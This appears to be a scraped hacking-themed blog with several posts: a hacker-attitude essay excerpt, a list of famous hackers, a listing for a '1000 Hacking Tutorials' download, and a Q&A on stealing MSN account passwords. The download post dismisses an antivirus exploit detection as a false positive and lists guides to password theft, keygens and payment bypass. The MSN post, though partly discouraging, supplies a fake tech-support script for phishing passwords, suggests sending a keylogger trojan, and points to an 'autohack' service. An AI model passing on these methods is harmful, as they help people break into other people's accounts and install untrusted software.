If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval.

(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)

2. No problem should ever have to be solved twice.

Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.

To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.

Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.

(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)

3. Boredom and drudgery are evil.

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.

To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).

(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)

4. Freedom is good.

Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.

(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)

Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.

5. Attitude is no substitute for competence.

To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.

Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.

If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.

Author: dfgdfg,

Categories: Hackers Mindset, Hackers Principles, Hacking Techniques

Top 5 Pro Hackers in the World

Hacking refers to the re-configuring or re-programming of a system to function in ways not facilitated by the owner, administrator, or designer. The term have several related meanings in the technology and computer science fields, wherein a “hack” may refer to a clever or quick fix to a computer program problem, or to what may be perceived to be a clumsy or inelegant (but usually relatively quick) solution to a problem, such as a “kludge”.  

The terms “hack” and “hacking” are also used to refer to a modification of a program or device to give the user access to features that were otherwise unavailable, such as by circuit bending. It is from this usage that the term “hacking” is often used to refer to more nefarious criminal uses such as identity theft, credit card fraud or other actions categorized as computer crime.

Here are the list of  Top 5 hackers in the world that created thier name in history books.

Kevin Mitnick 

Born in 1963, Kevin Mitnick was the most-wanted computer criminal in the US at the time of his arrest. Mitnick also known as ‘Condor’ was arrested in 1995 for countless acts of computer fraud. Quite apt in the art of social engineering, Condor, at the age of 12, bypassed the card system used in the L.A. transit system. Mitnick just for the sake of ‘intellectual curiosity’ hacked into Digital Equipment Corporation systems, Nokia, Motorola, Fujitsu Siemens, and many others.

Kevin Poulsen

Born in 1965, Poulsen, also known as Dark Dante, is a former black hat hacker. He is best known for his takeover of the KIIS-FM phone lines, a Los Angeles based radio station. At the time, KIIS-FM was running a contest in which the 102nd caller would possibly win a Porsche 944 S2. With the intent of getting the Porsche, Poulsen clogged all of the lines and made himself the 102nd caller. He was arrested in June 1994 and charged with wire, mail, and computer fraud, as well as money laundering.

Adrian Lamo

Best known for breaking into The New York Times, Yahoo! News, and Microsoft, Lamo surrendered to the US Marshals on September 9, 2003. He went into hiding after realizing that he was being tracked. For 15 months Lamo was investigated by the F.B.I. on complaints of many cos. He plead guilty in court and was ordered to pay $65,000. He was also sentenced to home detention and probation afterwards. He is known as a grey hat hacker; he would find security flaws in computer networks of companies and report back to them, so that they could be fixed.

Robert T. Morris, Jr

In 1988, the Morris worm was created and Robert T. Morris, Jr was the one who created it. It was a first ever computer worm. He was a student at Cornell when he set off the worm from MIT, from MIT so as to hide his tracks. According to Morris, he just wanted to know the number of computers connected to the internet. The unintentional damages caused by the worm ranged in between $20,000 to $530,000. Morris did community service for the damages and was set free. Currently, he is a teacher in the field of computer science and electrical engineering at MIT.

Eric Corley

Better known by his pseudonym Emmanuel Goldstein, Eric Corley was a well-known hacker in the 80s and 90s. He faced trial in 1999 for sharing DeCSS codes and a method to download them. The codes allowed for decrypting of encrypted DVDs. His court case was the first to test the Digital Millennium Copyright Act. Today, he owns a non-profit organization called the 2600 Enterprises, Inc. and publishes a magazine called 2600: The Hacker Quarterly.

Author: dfgdfg,

Categories: Hacking Techniques, Internet Tricks

1000 Hacking Tutorials (The Best of 2008)

IMPORTANT NOTES- Scanning results of 1000 Hacking Tutorials (The Best of 2008):
****************************************

1- Norton Internet Security: Clean.
2- Kaspersky Anti-Virus Pro: Clean. 
3- AVG Anti-Virus Pro: Clean.
4- NOD32 Anti-Virus: Clean.
5- Avast Anti-Virus Pro: Detected in .../1000 Hacking Tutorials (The Best of 2008)
   /Tutorials - blacksun.box.sk/net/sendmail2.txt: 
   - Malwarename: Unix:Sendmail [Expl]
   - Malwaretype: Exploitation  

The scan result of Avast Anti-Virus is a false positive!
So just stay cool or don't use this!!!

... Also scanned with most well known antispyware. Reported malware detected by 
    other anti-malware apps probably are false positives!

<--------------------------------------------------------------------------------->
<--------------------------------------------------------------------------------->
> Intimidated by the AV Scan results & scary names??? Then simply don't try this! <
<--------------------------------------------------------------------------------->
<--------------------------------------------------------------------------------->

1000 Hacking Tutorials (The Best of 2008)

Includes the following:

Create Bootable XP SP integrated CD,Create One-click Shutdown & Reboot Shortcuts 
Creating a Board aka Forum on your own PC
Creating Universal Ghost Usb Boot Disk And Cd
Data Capacity of CDs [Tutorial]
Debug, Learn how ***** windows
Delete An undeletable File
Delete Files From The Recent File List In Windows
Digital Camera Guide
Digital Faq -learn Everything About Digital, Capture, Edit, Burning and more
Digital Photo Id Cards, Greate Info
Direct Link To Any Page You Want To In Hotmail
Directx Explained
Disable Compression On Xp, NTFS partition, Disk Cleanup
Disable The Send Error Report, to Microsoft
Disable Windows Logo Key
Discover New Music You'll Probably Love
Download Free Music legally,, legally
Download from a paypal site without paying a penny!
Download From Ftpz, Using Ftp Search Sitez
Download Mp3's Without Using Filesharing
Download Music And Video With ,edia Player9, quick and easy!

Download Timeframes
Dual Boot After The Fact
Dvd Copying-ripping Definitions
DVD Regions Information
Dvd-9 to Dvd+r Dl, Double Layer To Double Layer, 1-1 copies
Easily Disconnect-reconnect From Broadband
Easily Find Serial Numbers On Google, easy to do and works like a charm
Ebay Hack*****tip
General Keyboard Shortcuts
Get In Windows 2000 As Administrator
Get the Most Out of Your DVD Recorder
Get The Music You Want To Hear
Get unlimited bandwidth from your host for free
Getting A 1gb Yahoo China Account
Getting Counter-strike Source To Work
getting movies, mp3,games using google
Getting older programs to run on Windows XP
Getting started with Linux for nOObs!
Go to Windows updates anonymously
Google ***** Search
Google secrets
Google Tips & Tricks, (utilizing search engine)
Graffiti On Walls 4 Adobe Photoshop Cs 8.0
Guide For Getting Free Stuff
Guide to IIS Exploitation
Guide to Slipstreaming Service Pack 2
Hard drive Gone Bad
Hardware Firewall
How To Add An Option To Print, the Contents of a Folder!
How To Add Your Own Windows Tips
How to Back Up the Registry
How To Backup Ps2 Games
HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING
How To Block Websties Without Software, block websites
How To Boot Xp Faster (updated)
How to build a black box
how to burn quicker in windows xp
How to Bypass BIOS Passwords
How To Bypass Web Filters, tutorial
HOW TO CAPTURE STREAMING MEDIA
How To Change A Cmos Battery
How to change the serial number used in Windows XP, Valid for XP Corporate
How To Change Thumbnail Size And Quality
How to clear Bios info 2
How to clear Bios info
How To Convert File System, fat - fat32 to ntfs
How To Copy A Dvd Which Will Play On A X Box
How to copy songs from your iPod to your PC
How To Customise Your start Button
How To Delete Those Persistent Nasty Files
How To Directly Go To Inbox, Write Msg, w Hotmail, no need for 
How to find MP3's real quickly
How To Find Serial Numbers On Google
How to fix corrupted files in XP
How to fix Windows Installer problem
How To Get A Free I-pod Or Flat Screen Tv, check it out
HOW TO GET ANY WINDOWS PASSWORD
How to Get someones ISP password, Get free internet
How To Get Top Ranking, Search Engines
How To Hack Windows Xp Admin Passwords
How to hack-change your Windows XP Boot Screen
how To Hide Yourself From Network Users, and give access to only specific users!
How To Make An Animted Logo
How To Make Free Phone Calls
How to make key generators
How To Make Perfect Copies Of Maxis The Sims Discs, CloneCD Style!
How To Make XP Go Faster
How To make your own Radio Station 2
How To Make Your Own Radio Station
How to Remove DRM Protection for Video Files
How To Remove Ms Java Vm And Install Sun Java
How To Remove Signin Details Of Msn Passport
How To Remove The Default Admin$ Shares
How to remove the Links folder in IE Favorites
How to Remove WinXP Splash and See Operations
How To Rename Extensions With Ease, with a Renamer.bat file!
How to Rename File Extensions
How To Rename Multiple Files In Winxp
How To Restrict Login Hours Allowed
How to safeguard your files when computer crashes
How to save Windows xp updates
how to search google forlinks
How To See Hidden Files, Using Dos
How To Set search For All Files In Winxp
How to set up a http server running from you computer
How To Set Up A Proxy In Flashget, As Requested
How to set up a server with Apache , PHP , MySQL , Perl , phpMyAdmin
How To Set Up Direct Connect
HOW TO SET UP FTP SERVER
How To Set Up Proxies In Your Browser
How To Set Zone Alarm Settings!, Fix for ZA ports
How To Setup Your Own Dns (Domain Name Server)
How To Speed Up A Slow Computer
How To Speed Up Http Requests On Internet Explorer, as above
How To Stop Spam
How to swear in all languages
How To Unload Cached Dll Files To Free Memory
How to Use and How to Chain Multiple Proxies!
How To Use File Compression In Windows Xp
How To Use Google To Download Mp3's, and applications.....
How To Use Newsgroups
How To Use You Gmail With Msn Messenger
How-to Get Videos And Dvds Onto Your Sony PlayStation Portable (PSP) for free
HOWTO Change Windows XP Home to Windows XP Pro
Important Faqs For Sp2
Improve Doom 3's Performances!!, simple but efficient trick for every1
Improve your dialup modem preformance
Increase XP Folder Settings
Insert Your Serial For Office 2k, auto install office
Install A New Hard-disk
Install Xp From Dos
Installing Apache on Windows
Installing Gentoo Linux, Amazing step by step tutorial
Installing IIS On Windows Xp Pro
Installing Slackware Linux
Instructions For Removal Of Advertising In Msn Messenger
Ip Address Structure, Expilinatin OF IP Address {A short way}
Irc How To Downlaod From, How to downlaod from IRC
Irc Servers On nix, For people who want to start own IRC net
Keep Files Private
Keep Folders Hidden
Keyboard Shortcuts Result in Excel 2000 - Movement
Keyboard Shortcuts, Microsoft Word
Keyboard Shortcuts, must read
Kill Microsoft Instant Messenger
Lamination Tips, Its a Fast TUT......
Leet Way To Get Your Ip In Windows Xp
Linking Your Xbox To Your Computer
Linux Howto's
List Of Sites Not To Go To
Little help for anonymous mailer
Lots Of Windows Xp Tips, Take A Look!
Lyrics With Google
Make A Autorun File For Ur Cd
Make A Batch File To Clean UR PC!!, All In One!!
Make A Roughly 16 Hour Video Dvd
Make Acrobat Reader 6 load faster.txt 0.42 kB
Make Dvd Iso From Suse 9.2 5 Cds Iso, Linux mode and Windows mode ISO creation
Make Mp3 Files Smaller Without Losing Quality
Make Your Own Ringtones For Mobile Phone, also logos, wallpaper, etc
Make Your Pc Faster, Guaranteed
MakeXPgoFaster
making a .cue file, in notepad
Making A .txt Executable Server
Making Bootable Floppy Disk to Boot into Windows
Making Cd Version Of Doom3 Into Dvd Version
Making Web Page Fonts Consistent and Uniform
Manage Saved Ie Passwords
Mastering The Windows XP Registry
Maximize Dial-up Modem Settings
Microsoft's Really Hidden Files, Reveled Hidden files
mIRC Not Just Another Chat Client, Download Anything You Want Almost
mIRCcommands
Misc Linux Tips & Tricks
Missing Administrator Account
Mobile Secret Codes
Modify .exe Files And ***** A Program
More Hacking/A beginners guide to Hacking UNIX
More Hacking/A *****ing Tutorial/C101-90.000 
More Hacking/A *****ing Tutorial/C101-90.001 
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More Hacking/A *****ing Tutorial/C101-90.004 
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More Hacking/An Introduction to Denial of Service
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More Hacking/Defamation Liability of Computerized Bulliten Board Operators
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More Hacking/Electropolos - Communication and Comunity on IRC
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More Hacking/Formulating A Company Policy on Access to and Use and Disclos
More Hacking/Free Speech in Cyberspace
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More Hacking/HACKDICT
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More Hacking/Hacking Bank Of America's Home Banking System
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More Hacking/Hacking IRC - The Definitive Guide
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More Hacking/Hacking TRW
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More Hacking/Hacking Unix System V's
More Hacking/Hacking Wal-Mart Computers
More Hacking/Hacking Webpages
More Hacking/How the Traditional Media Clasifications Fail to Protect 
More Hacking/How to crash AOL
More Hacking/How to dial out of a UNIX System
More Hacking/How to find Security Holes
More Hacking/How to get a Shell in 24 hours
More Hacking/How to Hack UNIX System V
More Hacking/How to login to a C.B.I. System
More Hacking/How to send ICQ Bombs
More Hacking/Information of Hacking AngelFire Websites
More Hacking/Introduction to Denail of Service
More Hacking/IP addressing, and gaining IP's
More Hacking/IP Addressing
More Hacking/ISSN Numbers- An Introduction
More Hacking/Junk Mail- How Did They All Get My Address
More Hacking/LENROS~1
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More Hacking/MINDVOX
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Author: dfgdfg,

Categories: computer tricks, Hacking Techniques, Internet Tricks

How To "hack" Msn Accounts + Related Questions

I have been seeing a lot of topics lately about users wanting to know how to hack into msn messenger accounts or steal password to msn and so on. I thought I would clear up a few things so that you hopefully will get your questions answered.

Firstly. If you don't have time to learn the background information needed or you simple can't be bothered to research this topic on your own and you just want to Hack MSN then this service http://www.astalavis...service=hotmail is for you and just let the astalavista autohacking service for hotmail take care of the rest.

Hopefully you want to learn more and are continuing to read my blog entry...

Quick Q & A:

• Q: I want a program or software that hack msn passwords / accounts for me. Where can I get that and please give me this program.
• A: There are NO such program that will hack msn passwords. I mean NO available software online. The reason for this statement is simple. Think about who is developing MSN messenger.. Microsoft has thousands of programmers, have introduced numerous security standards, spend billions of dollars on their software. Do you really think that 1) Microsoft would not be able to secure one of its most used services from your little point-and-click program? Think again. 2) If a vulnerability was found it would most likely be with the software in itself (and then you only can extract your own password and not other peoples). 3) Real hacking programs don't come with a messed up graphical user interface screaming "MSN HACK MSN HACK". 4) These programs usually ask for YOUR username / password in order to hack other peoples account. If you are smart enough to give away that information you have just been the victim of a social engineering attack. Stupid...
• Q: How can I get msn passwords?
• A: I am assuming you are not interested in your own password. 1) Just ask them for their password. This is known as a "social engineering attack" and is the most effective means of stealing information. "Kevin Mitnick" might be a nice thing to search google for. An example: "Hello, I'm calling from msn tech support. We are currently changing all the passwords and are wondering if you have recieved information about this? No? Then we will have to do it manually... What is you password and username?" 2)Trick the victim into running a file you send them. This file would then contain a trojan that monitores keystrokes and transmits it back to your computer. There are numerous software available for that. Just use google. 3) If all that fails or you again can't be bothered learning "how to hack" by educating yourself. You can again use the autohack service located here: http://www.astalavis...service=hotmail
• Q: How do I learn how to hack?
• A: You start by learning how to program. Start with a simple programming language such as Python or Java (not so simple, but anyway). Read books such as Practical Programming: An Introduction to Computer Science Using Python http://pragprog.com/...cal-programming and Learn to Program, 2nd Edition http://pragprog.com/...ram-2nd-edition Once you have read these books you should start learning SQL and trying to understand what SQL Injection is.
• A v2: Hacking is just knowing a programming language so well that you can see problems that the original developers did not see. Example: A developer that does not sanitize the input to the program, may have create a vulnerable attack point to injection attacks. The hackers SQL injection is dangerous because he/she knows that the developer might not have programmed the application correctly and by inserting values that the original developer did not intent to be handled. One can perform a "hack". In is simplest form this will be entering a string ('abc') when the software / web page wants a number as an input.
• 
  
• Q: Teach me how to hack!
• A: That is not a question and you will recieve no help. Start by asking!
• Q: CAN you teach me how to hack?
• A: Still no! If you don't try to learn about SQL atleast and programming in general, you will NOT understand what I am telling you anyway. One must have a common background knowledge in order to teach anything to anybody.

Note: One thing to think about is that "point and click" hacking is dangerous. You should always know what you are asking the program to do. It's still illegal and you WILL be caught because you don't know what you are dooing. Educate yourself, help others. Don't be destructive, be creative. If you are serious about learning hacking you should download backtrack: http://www.remote-ex.../backtrack.html and start webGoat from OWASP: http://www.owasp.org...WebGoat_Project This way you can educate yourself by using your own computer instead of ruining someone else's day.

Advice: If you are so desperate to hack msn passwords, email accounts and so forth I assume you want to spy on your girlfriend/boyfriend. If you are gooing to the step of trying to hack their private accounts you should step back and think about the trust issues you have and consider dumping that person. It's just not worth it.

Author: dfgdfg,

Categories: computer tricks, Hacking MSN, Hacking Techniques